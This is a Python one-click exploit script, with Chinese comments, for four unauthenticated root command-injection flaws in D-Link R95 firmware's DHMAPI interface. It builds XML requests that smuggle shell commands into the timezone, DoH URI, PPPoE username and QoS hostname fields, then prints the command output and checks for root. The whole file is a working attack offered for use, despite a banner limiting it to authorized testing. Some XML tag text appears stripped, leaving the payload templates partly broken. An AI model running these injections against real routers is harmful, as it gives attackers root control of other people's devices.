#!/usr/bin/env python3 """D-Link R95 1.04B04Beta DHMAPI 四漏洞一键验证工具(仅限授权本地测试)。""" import argparse import random import re import sys import urllib.error import urllib.request from dataclasses import dataclass from xml.sax.saxutils import escape if hasattr(sys.stdout, "reconfigure"): sys.stdout.reconfigure(encoding="utf-8", errors="replace") if hasattr(sys.stderr, "reconfigure"): sys.stderr.reconfigure(encoding="utf-8", errors="replace") DEFAULT_TARGET = "http://192.168.135.132:8080" DEFAULT_COMMAND = "id" @dataclass(frozen=True) class Vulnerability: name: str action: str field: str max_length: int VULNERABILITIES = { "tz": Vulnerability("tz", "SetTimeSettings", "TZLocation", 63), "doh": Vulnerability("doh", "SetSecureDNSSettings", "URI", 127), "pppoe": Vulnerability("pppoe", "SetTriggerPPPoEValidate", "Username", 63), "qos": Vulnerability("qos", "SetQoSHostInfo", "Hostname", 31), } def injected_value(name: str, command: str) -> str: if name == "tz": return f"x;{command};#" if name == "doh": return f"x;{command};#" if name == "pppoe": return f'x";{command};#' return f"x';{command};#" def build_body(vulnerability: Vulnerability, command: str) -> tuple[str, str]: unsupported = sorted(set(command).intersection("><&")) if unsupported: raise ValueError(f"命令包含固件 XML 解析器不能可靠处理的字符: {' '.join(unsupported)}") value = injected_value(vulnerability.name, command) value_length = len(value.encode("utf-8")) if value_length > vulnerability.max_length: raise ValueError( f"{vulnerability.field} 注入后为 {value_length} 字节," f"超过 {vulnerability.max_length} 字节上限;请缩短命令或输出路径" ) value = escape(value, {">": ">"}) name = vulnerability.name if name == "tz": content = f"{value}" elif name == "doh": content = ( "true" f"{value}true" ) elif name == "pppoe": content = ( "true" f"{value}x" ) else: mac = "02:00:00:00:" + ":".join(f"{random.randrange(256):02X}" for _ in range(2)) content = ( "" f"{value}192.168.0.2" f"{mac}11" "1false" "" ) action = vulnerability.action body = ( '' f"<{action}>{content}" ) return body, value def normalize_url(target: str) -> str: if "://" not in target: target = "http://" + target target = target.rstrip("/") if not target.endswith("/DHMAPI"): target += "/DHMAPI" return target + "/" def exploit(vulnerability: Vulnerability, url: str, command: str, timeout: float, verbose: bool) -> bool: print(f"\n[*] {vulnerability.name}: {vulnerability.action} -> {vulnerability.field}") try: body, _ = build_body(vulnerability, command) except ValueError as error: print(f"[-] {error}") return False request = urllib.request.Request( url, data=body.encode("utf-8"), headers={ "User-Agent": "Mozilla", "API-ACTION": "GetDeviceSettings", "SOAPAction": "GetDeviceSettings", "Content-Type": "application/xml", "Connection": "close", }, method="POST", ) if verbose: print(f"[+] POST {url}") print(f"[+] XML: {body}") try: with urllib.request.urlopen(request, timeout=timeout) as response: status = response.status response_body = response.read().decode("utf-8", errors="replace") except urllib.error.HTTPError as error: status = error.code response_body = error.read().decode("utf-8", errors="replace") except (urllib.error.URLError, TimeoutError) as error: print(f"[-] 请求失败: {error}") return False result = re.search(r"<([A-Za-z0-9_]+Result)>([^<]*)", response_body) result_text = f"{result.group(1)}={result.group(2)}" if result else "未解析到业务结果" print(f"[*] HTTP {status},{result_text}") command_output = re.split(r"HTTP/1\.[01]|<\?xml", response_body, maxsplit=1)[0].strip() if vulnerability.name == "doh" and command_output.startswith("URI = [x"): command_output = command_output[len("URI = [x"):].strip() if command_output: print(f"[+] 命令回显:\n{command_output}") if "uid=0(root)" in command_output: print("[+] 已直接回显 root 身份证明") if verbose or status != 200 or not result: print(f"[*] 完整响应:\n{response_body.strip() or '<空响应>'}") if status == 200 and result and result.group(2).startswith("OK"): print("[+] 触发成功") return True print("[-] 未确认触发成功") return False def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description="D-Link R95 DHMAPI 四条未授权 root 命令注入一键 EXP(仅限授权本地测试)", epilog=( "示例:\n" " python r95_oneclick_exp.py\n" " python r95_oneclick_exp.py -v tz\n" " python r95_oneclick_exp.py -v all -c \"id|tee /tmp/r95_{name}\"\n" " python r95_oneclick_exp.py -t http://192.168.135.132:8080 -v qos -c \"touch /tmp/pwned\"\n" "默认直接执行 id 并显示回显;tee 示例可同时回显和写入输出文件\n" "注意: 固件 XML 解析器不支持在注入字段中可靠使用 >、<、& 字符" ), formatter_class=argparse.RawTextHelpFormatter, ) parser.add_argument("-t", "--target", default=DEFAULT_TARGET, help=f"设备地址或 DHMAPI 地址(默认: {DEFAULT_TARGET})") parser.add_argument("-v", "--vuln", choices=["all", *VULNERABILITIES], default="all", help="漏洞链(默认: all)") parser.add_argument("-c", "--command", default=DEFAULT_COMMAND, help=f"执行命令,{{name}} 会替换为链名(默认: {DEFAULT_COMMAND})") parser.add_argument("--timeout", type=float, default=10.0, help="单次请求超时秒数(默认: 10)") parser.add_argument("--verbose", action="store_true", help="显示完整 XML 请求与响应") return parser.parse_args() def main() -> int: args = parse_args() if args.timeout <= 0: print("[-] --timeout 必须大于 0") return 2 selected = list(VULNERABILITIES) if args.vuln == "all" else [args.vuln] url = normalize_url(args.target) print("[!] 仅限本人所有或明确授权的本地测试目标") print(f"[*] 目标: {url}") results = {} for name in selected: command = args.command.replace("{name}", name) results[name] = exploit(VULNERABILITIES[name], url, command, args.timeout, args.verbose) succeeded = sum(results.values()) print(f"\n[*] 完成: {succeeded}/{len(results)} 条链返回成功") return 0 if succeeded == len(results) else 1 if __name__ == "__main__": sys.exit(main())